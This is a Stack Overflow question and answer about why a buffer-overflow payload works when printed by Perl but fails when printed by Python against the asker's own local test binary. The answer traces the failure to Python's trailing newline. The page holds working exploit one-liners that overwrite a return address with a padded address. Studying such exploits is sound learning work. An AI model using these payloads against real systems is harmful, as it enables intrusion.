Join the Stack Overflow Community
Stack Overflow is a community of 6.4 million programmers, just like you, helping each other.
Join them; it only takes a minute:
Sign up

I'm trying to exploit a buffer overflow. I don't think it's useful to post my program in C. This exploit work:

(perl -e 'print "a" x 280 . "\xf6\x06\x40\x00\x00\x00\x00\x00"' ; cat) | ./a.out

But this one doesn't

(python -c 'print("a"*280+"\xf6\x06\x40\x00\x00\x00\x00\x00")'; cat) | ./a.out

I don't see anything different except the language I use. Does anyone can tell me if is there a difference ?

Thanks

share|improve this question

Yes, there is a difference. Perl's print function doesn't print a newline by default, while Python's does. In Python, try:

(python -c 'import sys ; sys.stdout.write("a"*280+"\xf6\x06\x40\x00\x00\x00\x00\x00")'; cat) | ./a.out
share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.